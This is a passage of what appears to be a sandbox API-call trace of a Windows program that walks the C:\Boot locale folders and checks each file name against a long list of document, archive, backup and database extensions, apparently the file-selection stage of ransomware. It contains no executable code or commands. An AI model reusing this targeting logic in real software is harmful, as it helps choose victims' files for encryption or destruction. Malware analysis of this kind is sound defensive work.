hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.342] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.342] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.342] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0088.342] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.342] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0088.342] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.342] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260410 [0088.343] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.343] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21107f25, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.343] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.344] FindNextFileW (in: hFindFile=0x4260410, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6a2250, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f699a6, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf98, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.344] FindClose (in: hFindFile=0x4260410 | out: hFindFile=0x4260410) returned 1 [0088.344] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.344] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0088.344] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.344] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0088.344] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.344] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.345] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0088.345] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0088.345] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0088.345] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.345] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0088.345] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.345] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260490 [0088.346] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.346] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.346] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0088.346] FindClose (in: hFindFile=0x4260490 | out: hFindFile=0x4260490) returned 1 [0088.346] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0088.346] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0088.347] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0088.347] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13 [0088.347] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Boot\\zh-CN") returned 1 [0088.347] lstrlenW (lpString="zh-CN") returned 5 [0088.347] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="zh-CN") returned -1 [0088.347] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0088.347] lstrlenW (lpString="C:\\Boot\\zh-CN") returned 13 [0088.347] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0088.348] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.348] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0088.348] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0088.348] lstrlenW (lpString=".1cd") returned 4 [0088.348] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0088.348] lstrlenW (lpString=".3ds") returned 4 [0088.348] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0088.348] lstrlenW (lpString=".3fr") returned 4 [0088.348] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0088.348] lstrlenW (lpString=".3g2") returned 4 [0088.348] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0088.348] lstrlenW (lpString=".3gp") returned 4 [0088.348] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0088.348] lstrlenW (lpString=".7z") returned 3 [0088.348] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0088.348] lstrlenW (lpString=".accda") returned 6 [0088.348] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0088.349] lstrlenW (lpString=".accdb") returned 6 [0088.349] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0088.349] lstrlenW (lpString=".accdc") returned 6 [0088.349] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0088.349] lstrlenW (lpString=".accde") returned 6 [0088.349] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0088.349] lstrlenW (lpString=".accdt") returned 6 [0088.349] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0088.349] lstrlenW (lpString=".accdw") returned 6 [0088.349] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0088.349] lstrlenW (lpString=".adb") returned 4 [0088.349] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0088.349] lstrlenW (lpString=".adp") returned 4 [0088.349] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0088.349] lstrlenW (lpString=".ai") returned 3 [0088.349] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0088.349] lstrlenW (lpString=".ai3") returned 4 [0088.349] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0088.349] lstrlenW (lpString=".ai4") returned 4 [0088.349] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0088.349] lstrlenW (lpString=".ai5") returned 4 [0088.349] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0088.349] lstrlenW (lpString=".ai6") returned 4 [0088.349] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0088.349] lstrlenW (lpString=".ai7") returned 4 [0088.349] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0088.350] lstrlenW (lpString=".ai8") returned 4 [0088.350] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0088.350] lstrlenW (lpString=".anim") returned 5 [0088.350] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0088.350] lstrlenW (lpString=".arw") returned 4 [0088.350] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0088.350] lstrlenW (lpString=".as") returned 3 [0088.350] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0088.350] lstrlenW (lpString=".asa") returned 4 [0088.350] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0088.350] lstrlenW (lpString=".asc") returned 4 [0088.350] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0088.350] lstrlenW (lpString=".ascx") returned 5 [0088.350] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0088.350] lstrlenW (lpString=".asm") returned 4 [0088.350] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0088.350] lstrlenW (lpString=".asmx") returned 5 [0088.350] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0088.350] lstrlenW (lpString=".asp") returned 4 [0088.350] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0088.350] lstrlenW (lpString=".aspx") returned 5 [0088.350] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0088.350] lstrlenW (lpString=".asr") returned 4 [0088.351] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".asx") returned 4 [0088.351] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".avi") returned 4 [0088.351] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".avs") returned 4 [0088.351] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".backup") returned 7 [0088.351] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0088.351] lstrlenW (lpString=".bak") returned 4 [0088.351] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".bay") returned 4 [0088.351] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".bd") returned 3 [0088.351] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0088.351] lstrlenW (lpString=".bin") returned 4 [0088.351] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".bmp") returned 4 [0088.351] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".bz2") returned 4 [0088.351] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".c") returned 2 [0088.351] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0088.351] lstrlenW (lpString=".cdr") returned 4 [0088.351] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0088.351] lstrlenW (lpString=".cer") returned 4 [0088.351] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".cf") returned 3 [0088.352] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0088.352] lstrlenW (lpString=".cfc") returned 4 [0088.352] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".cfm") returned 4 [0088.352] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".cfml") returned 5 [0088.352] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0088.352] lstrlenW (lpString=".cfu") returned 4 [0088.352] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".chm") returned 4 [0088.352] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".cin") returned 4 [0088.352] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".class") returned 6 [0088.352] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0088.352] lstrlenW (lpString=".clx") returned 4 [0088.352] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".config") returned 7 [0088.352] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0088.352] lstrlenW (lpString=".cpp") returned 4 [0088.352] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".cr2") returned 4 [0088.352] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0088.352] lstrlenW (lpString=".crt") returned 4 [0088.352] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".crw") returned 4 [0088.353] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".cs") returned 3 [0088.353] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0088.353] lstrlenW (lpString=".css") returned 4 [0088.353] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".csv") returned 4 [0088.353] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".cub") returned 4 [0088.353] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".dae") returned 4 [0088.353] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".dat") returned 4 [0088.353] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".db") returned 3 [0088.353] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0088.353] lstrlenW (lpString=".dbf") returned 4 [0088.353] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".dbx") returned 4 [0088.353] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".dc3") returned 4 [0088.353] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".dcm") returned 4 [0088.353] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0088.353] lstrlenW (lpString=".dcr") returned 4 [0088.353] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".der") returned 4 [0088.354] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".dib") returned 4 [0088.354] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".dic") returned 4 [0088.354] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".dif") returned 4 [0088.354] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".divx") returned 5 [0088.354] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0088.354] lstrlenW (lpString=".djvu") returned 5 [0088.354] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0088.354] lstrlenW (lpString=".dng") returned 4 [0088.354] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".doc") returned 4 [0088.354] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".docm") returned 5 [0088.354] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0088.354] lstrlenW (lpString=".docx") returned 5 [0088.354] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0088.354] lstrlenW (lpString=".dot") returned 4 [0088.354] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0088.354] lstrlenW (lpString=".dotm") returned 5 [0088.354] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0088.354] lstrlenW (lpString=".dotx") returned 5 [0088.354] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0088.355] lstrlenW (lpString=".dpx") returned 4 [0088.355] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0088.355] lstrlenW (lpString=".dqy") returned 4 [0088.355] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0088.355] lstrlenW (lpString=".dsn") returned 4 [0088.355] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0088.355] lstrlenW (lpString=".dt") returned 3 [0088.355] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0088.355] lstrlenW (lpString=".dtd") returned 4 [0088.355] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0088.355] lstrlenW (lpString=".dwg") returned 4 [0088.355] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0088.355] lstrlenW (lpString=".dwt") returned 4 [0088.355] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0088.355] lstrlenW (lpString=".dx") returned 3 [0088.355] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0088.355] lstrlenW (lpString=".dxf") returned 4 [0088.355] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0088.355] lstrlenW (lpString=".edml") returned 5 